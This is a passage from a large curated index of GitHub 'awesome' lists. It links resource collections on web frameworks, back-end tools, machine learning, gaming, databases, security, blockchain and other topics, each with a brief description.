Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [lit](https://github.com/web-padawan/awesome-lit#readme) - Library for building web components with a declarative template system. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. - [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework. - [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed. - [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API. - [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites. - [Master CSS](https://github.com/master-co/awesome-master-css#readme) - A virtual CSS language with enhanced syntax. - [Hydrogen](https://github.com/shopify/awesome-hydrogen#readme) - Edge-first framework for building Shopify storefronts with React. - [Tiny JS](https://github.com/thoughtspile/awesome-tiny-js#readme) - Frontend libraries that fit into 2 kB with dependencies. ## Back-End Development - [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. - [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code. - [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization. - [Slim](https://github.com/nekofar/awesome-slim#readme) - PHP framework. - [Fiber](https://github.com/gofiber/awesome-fiber#readme) - Web framework built on top of Fasthttp, the fastest HTTP engine for Go. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research. - [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. - [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique. - [Conversational AI](https://github.com/jyguyomarch/awesome-conversational-ai#readme) - Build awesome chatbots and digital assistants. - [Generative AI](https://github.com/steven2358/awesome-generative-ai#readme) - Automatically generate a wide range of unique content in text, image and audio format. ## Big Data - [Big Data](https://github.com/0xnr/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. - [Audit Algorithms](https://github.com/erwanlemerrer/awesome-audit-algorithms#readme) - Algorithmic audits of algorithms. - [AGI & CoCoSci](https://github.com/YuzheSHI/awesome-agi-cocosci#readme) - The reciprocation of Artificial General Intelligence (AGI) and Computational Cognitive Sciences (CoCoSci). ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability. - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/michelpereira/awesome-open-source-games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/ConstructCommunity/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [ComputerCraft](https://github.com/tomodachi94/awesome-computercraft#readme) - Minecraft mod that adds programmable computers. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. - [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games. - [Esports](https://github.com/strift/awesome-esports#readme) - Video games played as a sport. - [Learn Gamedev](https://github.com/notpresident35/awesome-learn-gamedev#readme) - The craft of video game creation. - [Game Engine Development](https://github.com/stevinz/awesome-game-engine-dev#readme) - Building software to speed up game creation. - [GameMaker](https://github.com/bytecauldron/awesome-gamemaker#readme) - Game engine. - [Game Production](https://github.com/vhladiienko/awesome-game-production#readme) - Leading the process of designing, developing, testing and distributing a video game from concept to release. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. - [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge. - [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system. - [TDengine](https://github.com/taosdata/awesome-tdengine#readme) - An open-source time-series database with high-performance, scalability, and SQL support. - [Supabase](https://github.com/lyqht/awesome-supabase#readme) - An open-source alternative to Firebase. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. - [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [STEAM](https://github.com/RahulBirCodes/awesome-steam#readme) - Supplements for specific science, technology, engineering, arts, and math (STEAM) courses across all grade levels. - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology. - [Hackathon](https://github.com/dribdat/awesome-hackathon#readme) - Running fun and productive hackathons. - [Certificates](https://github.com/PanXProject/awesome-certificates#readme) - Free computer science certifications to showcase your knowledge. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Cyber Security University](https://github.com/brootware/awesome-cyber-security-university#readme) - Free educational resources that focus on learning by doing. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). - [Executable Packing](https://github.com/dhondta/awesome-executable-packing#readme) - Packing and unpacking executable formats. - [Malware Persistence](https://github.com/Karneades/awesome-malware-persistence#readme) - Techniques that adversaries use to keep access to systems across restarts. - [EVM Security](https://github.com/kareniel/awesome-evm-security#readme) - Understanding the Ethereum Virtual Machine security ecosystem. - [Password Cracking](https://github.com/n0kovo/awesome-password-cracking#readme) - The process of recovering passwords from data that has been stored in or transmitted by a system in scrambled form. - [Security Card Games](https://github.com/Karneades/awesome-security-card-games#readme) - Train your skills and discuss various security topics. - [Suricata](https://github.com/satta/awesome-suricata#readme) - Intrusion detection/prevention system and network security monitoring engine. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. - [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS. - [Directus](https://github.com/directus-community/awesome-directus#readme) - A real-time API and app dashboard for managing SQL database content. - [Plone](https://github.com/collective/awesome-plone#readme) - Open source Python CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development. - [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light. - [Open Hardware](https://github.com/delftopenhardware/awesome-open-hardware#readme) - Open-source hardware projects. - [ADS-B](https://github.com/rickstaa/awesome-adsb#readme) - Technology broadcasting aircraft's identity, position, and data periodically. - [Flying FPV](https://github.com/Matthias84/awesome-flying-fpv#readme) - Open hardware and software related to drones / UAVs. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. - [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user. - [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence. - [Engineering Strategy](https://github.com/aleixmorgadas/awesome-engineering-strategy#readme) - How to design and execute engineering strategies for tech leadership. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. - [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience. - [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. - [SNMP](https://github.com/eozer/awesome-snmp#readme) - A protocol for collecting, modifying, and organizing information about managed devices on IP networks. - [Scapy](https://github.com/secdev/awesome-scapy#readme) - Python-based interactive packet manipulation. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. - [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources. - [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin. - [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform. - [ZeroNet](https://github.com/zolagonano/awesome-zeronet#readme) - A decentralized web-like network of peer-to-peer users. - [Cosmos SDK](https://github.com/cosmos/awesome-cosmos#readme) - Modular framework for building app-specific blockchains in Go. ## Health and Social Science - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) 